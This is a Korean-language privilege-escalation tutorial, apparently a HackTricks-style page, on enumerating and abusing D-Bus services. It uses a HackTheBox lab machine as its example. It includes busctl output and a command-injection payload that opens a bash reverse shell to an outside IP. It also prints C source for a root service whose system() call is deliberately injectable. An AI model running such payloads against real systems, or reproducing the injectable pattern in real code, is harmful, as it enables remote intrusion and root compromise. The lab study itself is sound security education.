D-Bus는 Ubuntu 데스크톱 환경에서 프로세스 간 통신 (IPC) 미디에이터로 사용됩니다. Ubuntu에서는 여러 메시지 버스의 동시 작동이 관찰됩니다: 시스템 버스는 시스템 전체에서 관련 서비스를 노출하는 권한 있는 서비스에 의해 주로 사용되며, 각 로그인한 사용자마다 세션 버스가 있어 해당 특정 사용자에게만 관련 서비스를 노출합니다. 여기서 주로 시스템 버스에 초점을 맞추는 이유는 더 높은 권한 (예: 루트)으로 실행되는 서비스와 관련이 있기 때문입니다. D-Bus의 아키텍처는 세션 버스당 '라우터'를 사용하며, 클라이언트 메시지를 클라이언트가 통신하려는 서비스를 기반으로 적절한 서비스로 리디렉션하는 역할을 합니다.
D-Bus의 서비스는 노출하는 객체 및 인터페이스에 의해 정의됩니다. 객체는 표준 OOP 언어에서 클래스 인스턴스와 유사하며, 각 인스턴스는 객체 경로에 의해 고유하게 식별됩니다. 연구 목적을 위한 주요 인터페이스는 org.freedesktop.DBus.Introspectable 인터페이스로, 단일 메서드인 Introspect를 특징으로 합니다. 이 메서드는 객체의 지원하는 메서드, 시그널 및 속성의 XML 표현을 반환하며, 여기서는 속성과 시그널을 제외하고 메서드에 중점을 둡니다.
D-Bus 인터페이스와의 통신을 위해 두 가지 도구를 사용했습니다: D-Bus에서 노출된 메서드를 쉽게 호출하기 위한 CLI 도구인 gdbus 및 D-Feet, Python 기반의 GUI 도구로, 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하는 데 사용됩니다.
첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되며, org.debin.apt가 특히 System Bus 버튼을 선택한 후 강조되었습니다. D-Feet는이 서비스에 대한 객체를 쿼리하여 선택한 객체에 대한 인터페이스, 메서드, 속성 및 시그널을 표시하며, 두 번째 이미지에서 볼 수 있습니다. 각 메서드의 시그니처도 자세히 설명됩니다.
주목할만한 기능은 서비스의 프로세스 ID (pid) 및 명령 줄이 표시되어 있어 서비스가 승격된 권한으로 실행되는지 확인하는 데 유용하며, 연구의 관련성을 확인하는 데 중요합니다.
D-Feet는 또한 메서드 호출을 허용합니다: 사용자는 파라미터로 Python 표현식을 입력할 수 있으며, D-Feet는이를 서비스로 전달하기 전에 D-Bus 유형으로 변환합니다.
그러나 일부 메서드는 인증이 필요할 수 있으므로 우리가 자격 증명없이 권한을 상승시키는 것이 목표이기 때문에 이러한 메서드를 무시할 것입니다.
또한 일부 서비스가 다른 D-Bus 서비스인 org.freedeskto.PolicyKit1을 쿼리하여 사용자가 특정 작업을 수행할 수 있는지 여부를 확인합니다.
위키백과에서: 프로세스가 버스에 연결을 설정하면, 버스는 해당 연결에 _고유 연결 이름_이라고 불리는 특별한 버스 이름을 할당합니다. 이 유형의 버스 이름은 변경할 수 없으며, 연결이 존재하는 한 변경되지 않음이 보장됩니다. 더 중요한 것은 이러한 고유 연결 이름이 버스 수명 동안 재사용될 수 없다는 것입니다. 이는 동일한 프로세스가 버스에 대한 연결을 닫고 새로운 연결을 만들더라도 다른 연결이 해당 고유 연결 이름을 할당받지 않을 것을 의미합니다. 고유 연결 이름은 일반적으로 금지된 콜론 문자로 시작하기 때문에 쉽게 식별할 수 있습니다.
서비스 객체 정보
그런 다음, 인터페이스에 대한 일부 정보를 얻을 수 있습니다.
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
서비스 객체의 인터페이스 목록 나열
충분한 권한이 필요합니다.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
서비스 객체의 인트로스펙트 인터페이스
이 예에서는 tree 매개변수를 사용하여 발견된 최신 인터페이스가 선택되었음에 유의하십시오. (이전 섹션 참조) :
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
모니터/캡처 인터페이스
충분한 권한이 있으면 (send_destination 및 receive_sender 권한만으로는 충분하지 않음) D-Bus 통신을 모니터링할 수 있습니다.
D-Bus 구성 파일을 구성하여 루트가 아닌 사용자가 통신을 스니핑할 수 있도록하는 방법을 알고 계신다면 저에게 연락해주세요!
모니터링하는 다양한 방법:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
다음 예에서는 인터페이스 htb.oouch.Block이 모니터링되며 "lalalalal" 메시지가 잘못된 통신을 통해 전송됩니다:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
다음과 같이 D-Bus 인터페이스에 연결하고 "Block" 함수에 "client_ip"을 보냅니다.
D-Bus 연결의 다른 쪽에는 컴파일된 C 이진 파일이 실행 중입니다. 이 코드는 D-Bus 연결에서 IP 주소를 수신하고 system 함수를 통해 주어진 IP 주소를 차단합니다.
system 호출은 의도적으로 명령 삽입에 취약하며, 다음과 같은 payload는 역쉘을 생성합니다: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Exploit it
이 페이지의 끝에는 D-Bus 애플리케이션의 완전한 C 코드를 찾을 수 있습니다. 이 코드 안에는 **D-Bus 객체 경로**와 **인터페이스 이름**이 등록되는 방법이 91-97행 사이에 나와 있습니다. 이 정보는 D-Bus 연결로 정보를 보내는 데 필요합니다:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
또한, 57번째 줄에서 등록된 유일한 메서드는 Block이라고 불립니다(따라서 다음 섹션에서 페이로드가 서비스 객체 htb.oouch.Block, 인터페이스 /htb/oouch/Block 및 메서드 이름 Block으로 전송될 것입니다):
"--string:" - 인터페이스로 보내려는 메시지의 유형입니다. 더블, 바이트, 부울, 정수, objpath와 같은 여러 형식으로 메시지를 보낼 수 있습니다. 이 중 "object path"는 파일 경로를 Dbus 인터페이스로 보내고자 할 때 유용합니다. 이 경우 특수 파일(FIFO)을 사용하여 파일의 이름으로 인터페이스에 명령을 전달할 수 있습니다. "string:;" - 이는 다시 FIFO 역쉘 파일/명령의 위치를 호출하는 것으로, 여기에 파일의 이름을 넣습니다.
htb.oouch.Block.Block에서 첫 번째 부분(htb.oouch.Block)은 서비스 객체를 참조하고 마지막 부분(.Block)은 메서드 이름을 참조합니다.
C 코드
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}